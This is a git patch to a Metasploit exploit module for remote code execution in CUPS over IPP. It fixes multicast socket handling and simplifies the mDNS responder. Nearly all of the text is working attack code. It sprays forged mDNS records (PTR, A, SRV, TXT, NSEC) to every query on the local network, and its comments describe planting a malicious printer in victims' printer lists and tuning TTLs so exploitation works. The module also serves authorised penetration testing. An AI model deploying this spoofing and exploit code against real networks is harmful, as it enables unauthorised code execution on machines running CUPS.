From 0ec9b1bcb911b9b357ffcbc22397eeb0fa3fa9cd Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 21 Nov 2024 15:14:46 -0500 Subject: [PATCH] Fix a multicast socket issue --- .../misc/cups_ipp_remote_code_execution.rb | 194 +++++++++--------- 1 file changed, 102 insertions(+), 92 deletions(-) diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb index 0909dda13afc..90013c72fa9b 100644 --- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -8,6 +8,8 @@ class MetasploitModule < Msf::Exploit::Remote # Accessor for IPP HTTP service attr_accessor :service2 + MULTICAST_ADDR = '224.0.0.251' + # Define IPP constants module TagEnum UNSUPPORTED_VALUE = 0x10 @@ -77,6 +79,21 @@ module SectionEnum UNSUPPORTED = 0x05 end + class MulticastComm < Rex::Socket::Comm::Local + # hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket) + # without this in place, the module won't work on a system with multiple network interfaces + def self.create_by_type(param, type, proto = 0) + socket = super + socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255) + + membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton + socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership) + socket + end + + end + def initialize(info = {}) super( update_info( @@ -172,7 +189,7 @@ def validate super if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 - raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.'}) + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' }) end # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured @@ -202,7 +219,7 @@ def start_mdns_service 5353, false, nil, - Rex::Socket::Comm::Local, + MulticastComm, { 'Msf' => framework, 'MsfExploit' => self } ) @@ -213,7 +230,7 @@ def start_mdns_service on_send_mdns_response(cli, data) end rescue ::Errno::EACCES => e - raise Rex::BindFailed.new(e.message) + raise Rex::BindFailed, e.message end def create_ipp_response(version_major, version_minor, request_id) @@ -401,7 +418,7 @@ def start_ipp_service rescue StandardError => e vprint_error('An error occurred while processing an IPP request') vprint_error("IPP Error is #{e.class} - #{e.message}") - vprint_error("#{e.backtrace.join("\n")}") + vprint_error(e.backtrace.join("\n").to_s) raise e end, 'Path' => '/ipp/print') @@ -479,101 +496,94 @@ def on_dispatch_mdns_request(cli, data) # However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu) # Also, different distributions seem to have different flows for that, which made the approach unreliable # So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer - req.question.each do |_question| - # PTR record - req.add_answer(Dnsruby::RR.create( - name: '_ipp._tcp.local.', - type: 'PTR', - # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation - # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue - ttl: 30, - domainname: "#{ipp_printer_name}." - )) - # A record for our printer - # All of these answers seem to need to be additional record answers, not just answers - req.add_additional(Dnsruby::RR.create( - name: "#{printer_name_no_space}.local.", - type: 'A', - ttl: 30, - # The IP address of our malicious HTTP IPP service - address: datastore['SRVHOST'] - )) - - # SRV record - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'SRV', - ttl: 30, - priority: 0, - weight: 0, - # The port of our malicious HTTP IPP service - port: datastore['SRVPORT'], - target: "#{printer_name_no_space}.local." - )) - - # TXT record - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'TXT', - ttl: 30 - ).tap do |rr| - rr.strings = [ - 'txtvers=1', - 'qtotal=1', - 'rp=ipp/print', - "ty=#{printer_name}", - 'pdl=application/postscript,application/pdf', - # The "adminurl" value may or may not be queried, depending on the victim type - # Points to our malicious HTTP IPP service - "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", - 'priority=0', - 'color=T', - 'duplex=T', - # Unique UUID to avoid printer collision from multiple runs with the same configuration - "UUID=#{@printer_uuid}" - ] - end) - - # NSEC record, seems to be required, should be additional answer type - req.add_additional(Dnsruby::RR.create( - name: "#{ipp_printer_name}.", - type: 'NSEC', - ttl: 30, - next_domain: "#{ipp_printer_name}.", - types: 'AAAA' - )) - - # Indicate our mDNS message is a query response - req.header.qr = 1 - # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one - # https://datatracker.ietf.org/doc/html/rfc6762 - req.header.aa = 1 - - # Clear questions and update counts for our response - req.question.clear - req.update_counts - - # Encode and send response - response_data = Packet.generate_response(req).encode - - service.send_response(cli, response_data) - - # Avoid responding a bunch of times for each query - break - - end + return unless req.question.first + + # PTR record + req.add_answer(Dnsruby::RR.create( + name: '_ipp._tcp.local.', + type: 'PTR', + # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation + # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue + ttl: 30, + domainname: "#{ipp_printer_name}." + )) + # A record for our printer + # All of these answers seem to need to be additional record answers, not just answers + req.add_additional(Dnsruby::RR.create( + name: "#{printer_name_no_space}.local.", + type: 'A', + ttl: 30, + # The IP address of our malicious HTTP IPP service + address: datastore['SRVHOST'] + )) + + # SRV record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'SRV', + ttl: 30, + priority: 0, + weight: 0, + # The port of our malicious HTTP IPP service + port: datastore['SRVPORT'], + target: "#{printer_name_no_space}.local." + )) + + # TXT record + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'TXT', + ttl: 30 + ).tap do |rr| + rr.strings = [ + 'txtvers=1', + 'qtotal=1', + 'rp=ipp/print', + "ty=#{printer_name}", + 'pdl=application/postscript,application/pdf', + # The "adminurl" value may or may not be queried, depending on the victim type + # Points to our malicious HTTP IPP service + "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}", + 'priority=0', + 'color=T', + 'duplex=T', + # Unique UUID to avoid printer collision from multiple runs with the same configuration + "UUID=#{@printer_uuid}" + ] + end) + + # NSEC record, seems to be required, should be additional answer type + req.add_additional(Dnsruby::RR.create( + name: "#{ipp_printer_name}.", + type: 'NSEC', + ttl: 30, + next_domain: "#{ipp_printer_name}.", + types: 'AAAA' + )) + + # Indicate our mDNS message is a query response + req.header.qr = 1 + # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one + # https://datatracker.ietf.org/doc/html/rfc6762 + req.header.aa = 1 + + # Clear questions and update counts for our response + req.question.clear + req.update_counts + + # Encode and send response + response_data = Packet.generate_response(req).encode + + service.send_response(cli, response_data) end # # Creates Proc to handle outbound responses # def on_send_mdns_response(cli, data) - # This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way - # Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots - # Log to console in VERBOSE mode, then write response - vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") - cli.sendto(data, '224.0.0.251', cli.peerport) + vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}") + cli.write(data) end def cleanup